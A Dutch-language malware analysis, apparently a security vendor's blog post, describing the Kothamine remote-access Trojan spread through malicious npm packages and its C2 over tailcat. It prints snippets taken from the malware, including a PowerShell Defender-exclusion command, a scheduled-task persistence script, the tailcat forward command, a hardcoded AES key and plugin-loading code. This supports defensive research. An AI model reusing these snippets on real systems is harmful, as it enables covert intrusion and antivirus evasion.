We hebben een ongedocumenteerde remote-access Trojan (RAT) ontdekt, genaamd Kothamine Agent . Deze ondersteunt meer dan 30 commando's en geeft aanvallers controle over een geïnfecteerde computer. Windows Computers: ze kunnen commando's uitvoeren, bestanden lezen en wijzigen, en nieuwe functionaliteiten toevoegen. Sommige versies kunnen ook browsergegevens stelen en opnemen via de camera en microfoon.
We ontdekten dat Kothamine gekoppeld is aan kwaadaardige npm-pakketten, wat een risico kan vormen voor gebruikers en ontwikkelaars die deze pakketten installeren. In recente versies gebruikt de malware tailcat , een open-source tool van Tailscale, om commando's te ontvangen via een versleutelde verbinding. Dit maakt de communicatie lastiger te controleren en biedt verdedigers geen conventioneel command-and-control (C2) domein om te blokkeren.
Op basis van VirusTotal-uploads en GitHub-commits lijkt Kothamine al sinds juli in ontwikkeling of distributie te zijn. Eerdere versies gebruikten Tailscale. VPN In plaats van Tailcat. Afhankelijk van de build bevat de malware netwerktools of downloadt deze van bronnen zoals GitHub.
Hoe blijf ik veilig
Voordat je een onbekend npm-pakket installeert, controleer dan de repository, de beheerders, de afhankelijkheden en de recente releases. Zoek naar meldingen van kwaadwillige activiteiten en geef de voorkeur aan pakketten met een bewezen geschiedenis en regelmatig onderhoud.
- Controleer de naam zorgvuldig. Zorg ervoor dat je geen nep-pakket met een vergelijkbare naam downloadt.
- Controleer de ontwikkelaar of organisatie en zorg ervoor dat de uitgever betrouwbaar lijkt. Kijk bijvoorbeeld of er een website of een GitHub-repository is.
- Lees enkele recensies, problemen en meldingen. Zoek de pakketnaam op Google en controleer of er meldingen zijn van gedetecteerde potentiële malware.
- Kijk naar de populariteit. Een pakket met veel downloads en gebruikers is over het algemeen makkelijker te verifiëren dan een gloednieuw pakket met vrijwel geen gebruiksgeschiedenis.
Technische analyse
Kothamine en de kwaadaardige npm-pakketten
Kothamine is geschreven in C en C++. In de meeste door ons geanalyseerde voorbeelden bestaat het uit een injector en een DLL met de agent. De agent ondersteunt meer dan 30 commando's, waardoor de operator het geïnfecteerde systeem kan besturen en extra DLL's kan laden om de mogelijkheden ervan uit te breiden.

Kothamine Agent heeft in de loop der tijd enkele veranderingen ondergaan. Eerdere versies die we op VirusTotal vonden, gebruikten Tailscale. VPN In plaats van tailcat werden de strings niet versleuteld. Sommige functies, waaronder een omzeiling van Gebruikersaccountbeheer (UAC) en stealer-opdrachten, werden alleen in bepaalde builds gedetecteerd.
In sommige versies downloadde Kothamine Tailscale-bestanden van de officiële Tailscale-website of een GitHub-repository in plaats van ze in de agent op te nemen.
Dezelfde GitHub-repository wordt geciteerd in een advies over een kwaadaardig npm-pakket genaamd dotnet-runtime-baseHet pakket downloaden npm-sc-legit.exe uit die repository. Op het moment van schrijven waren twee andere pakketten van dezelfde ontwikkelaar verwijderd.

De auteurs achter deze campagnes maakten een fout en publiceerden instructies voor het samenstellen van... kothamine-stub-cpp in een van de pakketten. De handleiding bespreekt ook het laden van .NET-assemblies, iets wat we niet hebben gezien in de voorbeelden die we hebben geanalyseerd.

De npm-sc-legit.exe Het uitvoerbare bestand is een gecompileerde versie van Kothamine die ook commando's bevat voor het stelen van gegevens. We hebben geen dashboard of builder voor Kothamine gevonden, maar de aanwezige functies in verschillende builds suggereren dat operators specifieke functies en commando's naar behoefte kunnen inschakelen.

De volgende analyse richt zich op een recent Kothamine Agent-monster dat Tailcat gebruikt voor C2-communicatie.
Hoe werkt Kothamine Agent?
In de geanalyseerde versies injecteert een uitvoerbaar bestand, intern aangeduid als Kothamine Injector, de Kothamine Agent DLL, meestal in explorer.exeWe verwijzen ook naar eerdere versies om te laten zien hoe de agent is veranderd.
1. Kothamine-injector
De Kothamine-injector voert de volgende handelingen uit:
- Voegt toe Windows Defender-uitsluitingen met PowerShell
- Kopieert zichzelf naar
%ROAMING%\MicrosoftEdgeUpdateCore.exe - Extraheert de agent-DLL naar
%ROAMING%\MicrosoftEdgeUpdateCore.dll - Creëert
up.ps1in%TEMP%voor volharding - Injecteert de agent-DLL in
explorer.exegebruikOpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread, enLoadLibraryA

explorer.exe De up.ps1 Het script maakt een geplande taak aan om persistentie te bereiken met behulp van het Injector-uitvoerbestand:
$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force
2. Kothamine-agent
Agent opstarten
De agent maakt een mutex aan met de naam Local\KothamineAgentInstance en start de hoofdthread.
Vervolgens voert het PowerShell-opdrachten uit om het uitvoerbare bestand en de DLL toe te voegen aan de Windows Uitsluitingslijst van Defender:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"
In oudere versies werden tekenreeksen niet versleuteld. Recente versies ontsleutelen tekenreeksen direct of via functies die XOR gebruiken met een andere sleutel voor elke tekenreeks.


C2-communicatie via Tailcat.
Het onderscheidende kenmerk van Kothamine is niet de technische complexiteit, de functionaliteit van de agenten of de verhulling, maar het gebruik van Tailcat en Tailscale. VPN om opdrachten te ontvangen die uitgevoerd moeten worden. Dit geeft de agent een robuust, versleuteld communicatiekanaal.
Tailcat is een recent open-sourceproject van het Tailscale-team. Tailcat maakt gebruik van de dataplane van Tailscale (WireGuard, NAT-traversal en DERP), maar zonder de controlplane. Volgens de officiële documentatie betekent dit dat Tailcat geen IP-adressen, accounts, beheerders, gebruikers, beheertools of governance heeft. Deze kenmerken maken het daarom een aantrekkelijk hulpmiddel voor malware.
In tegenstelling tot Tailscale VPN Tailcat vereist geen account of apparaatregistratie. De ontwikkelaars hebben het ontworpen voor kortstondige verbindingen.
Omdat er geen accounts zijn, is de toegang gebaseerd op het bezit van een tailcat-adres en de publieke sleutels die worden gebruikt om de verbindende apparaten te identificeren. Dit maakt de verbinding niet volledig anoniem: gehoste relays kunnen metadatalogboeken bewaren.
De tc-address Door de forward-vlag mee te sturen, krijgt de client de informatie die nodig is om het verzoek correct door te sturen. Bovendien vereist tailcat geen bevoorrechte toegang tot de machine, omdat het gebruikmaakt van de CLI-tool en gebruikersruimtebibliotheken.
In recente Kothamine-versies haalt de agent de staartkat uit zijn bronnen en slaat deze op als %ROAMING%\TailscalePortable\tailcat.exe.

Het uitvoerbare bestand van tailcat wordt gestart met de CreateProcessA functie en de volgende parameters (intern aangeduid als spawn_tailcat_forward fase):
"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward tc…. 18080:4444
Met dit commando worden de Tailcat-serverpoorten beschikbaar gemaakt als standaard lokale TCP-poorten (18080 (in dit geval) en de verzoeken worden doorgestuurd naar de haven 4444 van het knooppunt van de operator. Kothamine gebruikt socketfuncties om verbinding te maken met 127.0.0.1:18080, waar Tailcat meeluistert.
Als de agent-ID-string niet leeg is, stuurt de agent een versleuteld profielverzoek met de volgende informatie (run_c2_loop fase):
{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"}
Vervolgens komt de agent in een oneindige lus terecht om commando's te ontvangen die hij van de C2 moet uitvoeren.run_c2_loop fase). De agent wacht op nieuwe opdrachten om uit te voeren met behulp van de select De socketfunctie verzendt periodiek KEEP-ALIVE-berichten als er geen commando wordt ontvangen.
De berichten die met de C2 worden uitgewisseld, worden versleuteld en ontsleuteld met behulp van AES-GCM (aes_encrypt fase).
De 32-byte AES-sleutel wordt base64-gedecodeerd uit de tekenreeks (c2_key fase):
mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=
Ondersteunde commando's
In deze versie ondersteunt de Kothamine-agent 30 commando's. gerelateerd aan:
- Interactie met processen
- Interactie met bestanden en mappen
- Voer shell-opdrachten uit
- Agentfunctionaliteit uitbreiden op basis van ontvangen DLL's
| Opdrachtnaam | Beschrijving |
sysinfo/systeminfo, curpid | Geef systeeminformatie terug, zoals PID, huidig pad, hostnaam en besturingssysteem (hardcoded). |
tasklist, kill | Geeft de processen terug die zijn verkregen via “ tasklist /FO CSV /NH ”. Beëindigt het proces dat is gespecificeerd door de PID met behulp van “ taskkill /F /PID ”. |
ping | Liveness-controle, "Pong" keert terug naar C2. |
ipconfig | Voert het commando “ ipconfig /all ” uit en geeft het resultaat weer. |
exec, shell_exec | Voert shell-opdrachten uit met _popen() en stuurt de uitvoer terug. |
mkdir, rmdir, cp, mv, cd, ls, dir, pwd | Interactie met bestanden en mappen op het systeem. |
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, download | Kan willekeurige bestanden lezen, schrijven en verwijderen. |
load_feature | Schrijft en laadt een ontvangen base-64 gecodeerde DLL. De DLL wordt geladen met LoadLibraryA en de methode “ GetFeatureApi ”, die wordt opgelost via GetProcAddress , wordt uitgevoerd. Sla de functiepointers op die nodig zijn om de functie uit te voeren. |
exec_feature, features, list_features, unload_feature | Het communiceert met geladen functies om ze te bekijken, uit te voeren of te verwijderen. |
Aangezien de andere commando's voor de andere agents hetzelfde zijn, richt de analyse zich op het "plugin"-systeem waarmee de operator DLL's kan ontvangen en de functionaliteit van de agent kan uitbreiden.
Pluginsysteem
Om een nieuwe DLL te laden, gebruikt de operator de volgende opdracht:
load_feature <name> <B64EncodedDLL>
In grote lijnen werkt het proces als volgt. De onderstaande code en variabelnamen zijn gereconstrueerd aan de hand van gebruiks- en uitvoerlogboeken.
- Eerst controleert de agent of de functionaliteit al is geladen en deactiveert deze indien nodig:
if (g_features.find(name) != g_features.end()) {
send_text("[!] " + name + " already loaded, unloading first");
unload_feature(name);
}
- Het probeert de ontvangen DLL te creëren op een locatie die is verkregen via
GetTempPathofSHGetFolderPathA, of in het vastgelegde padC:\Windows\TempHet schrijft de gedecodeerde DLL weg en laadt deze metLoadLibraryA.
- Lost de problemen op en voert ze uit.
GetFeatureApimethode van de geladen DLL:
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
FreeLibrary(hMod);
return 0;
}
api = pGFA();
We hebben geen DLL gevonden waarmee we de structuur die wordt geretourneerd door volledig kunnen analyseren. GetFeatureApiDoor de code en de tekenreeksen te analyseren, hebben we echter de volgende velden geïdentificeerd:
/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);
struct FeatureApi {
char *version;
char *name;
void (*init)(FeatureSendCb send);
void (*exec)(char *args, FeatureSendCb send);
void (*cleanup)(void);
};
De pointers naar de geladen DLL en de geretourneerde structuur worden opgeslagen in de globale variabele. variabele intern genoemd g_features, met behulp van deze structuur:
struct LoadedFeature {
void *hModule; /* Loaded DLL */
struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};
- Voert de uit
initde functie die in de geretourneerde structuur is opgenomen, en geef daaraan de functie door die voor C2-communicatie wordt gebruikt:
send_text("[!] calling init...");
api->init(*feature_send_callback);
send_text("[!] init done");
Nadat de functie is geladen, kan de operator deze uitvoeren met het volgende commando:
exec_feature <functionName> [args]

exec functieVerschillende Kothamine-builds: Tailscale VPN , UAC-bypass en stealer-opdrachten
Zoals eerder vermeld, hebben we versies van Kothamine met verschillende mogelijkheden gedetecteerd.
Eerdere versies gebruikten de Tailscale. VPN voordat Tailscale werd uitgebracht. Ze downloadden en voerden het installatieprogramma van de Tailscale-website uit met de /quiet en /silent vlaggen, of de benodigde bestanden rechtstreeks van GitHub gedownload. Deze omvatten tailscaled.exe, tailscale.exe, tailscale-ipn.exe, en wintun.dll.

Sommige versies omzeilen Gebruikersaccountbeheer (UAC) door gebruik te maken van fodhelper.exe rennen elevated.ps1In het onderstaande voorbeeld start het PowerShell-script een Tailscale-proces. VPN verbinding:
$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
Start-Sleep 2
try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
$ip=(&$ts ip 2>&1 | Out-String)
if ($ip -match '100\.') { $connected=$true; break }
}
De agent maakt vervolgens verbinding met poort 4444 op een IP-adres van het Tailscale-netwerk (100.x.x.x) en begint met het ontvangen en uitvoeren van opdrachten.

fodhelper.exeTot slot, zoals we eerder al aangaven, ondersteunen verschillende builds van Kothamine andere commando's. De versie die naar GitHub is geüpload, bevat bijvoorbeeld extra commando's, waaronder getdiscord, getsessions, screenshot, screenshare, en cameraDeze functies stellen operators in staat om:
- Cookies stelen uit verschillende browsers
- Het stelen van gamegerelateerde JSON-bestanden, waaronder bestanden die zijn gekoppeld aan Steam en Minecraft.
- Maak screenshots en neem op via de camera en microfoon.
- Toegang tot de inhoud van het klembord
Indicatoren van compromittering
SHA-256 hashes
ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0: Kothamine Injector geanalyseerd in de blog74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70c: Kothamine Agent geanalyseerd in de blog
URL's
https://github[.]com/cphc811-ui/: Repository die gebruikt wordt om uitvoerbare bestanden en DLL's te downloaden die bij Tailscale horen. VPN
Dankbetuigingen
Het advies van Mondoo over het geanalyseerde npm-pakket .
Surf alsof niemand kijkt.
Malwarebytes Privacy VPN je verbinding en houdt nooit bij wat je doet, zodat het volgende artikel dat je leest niet als iets persoonlijks hoeft te voelen.Probeer het gratis →




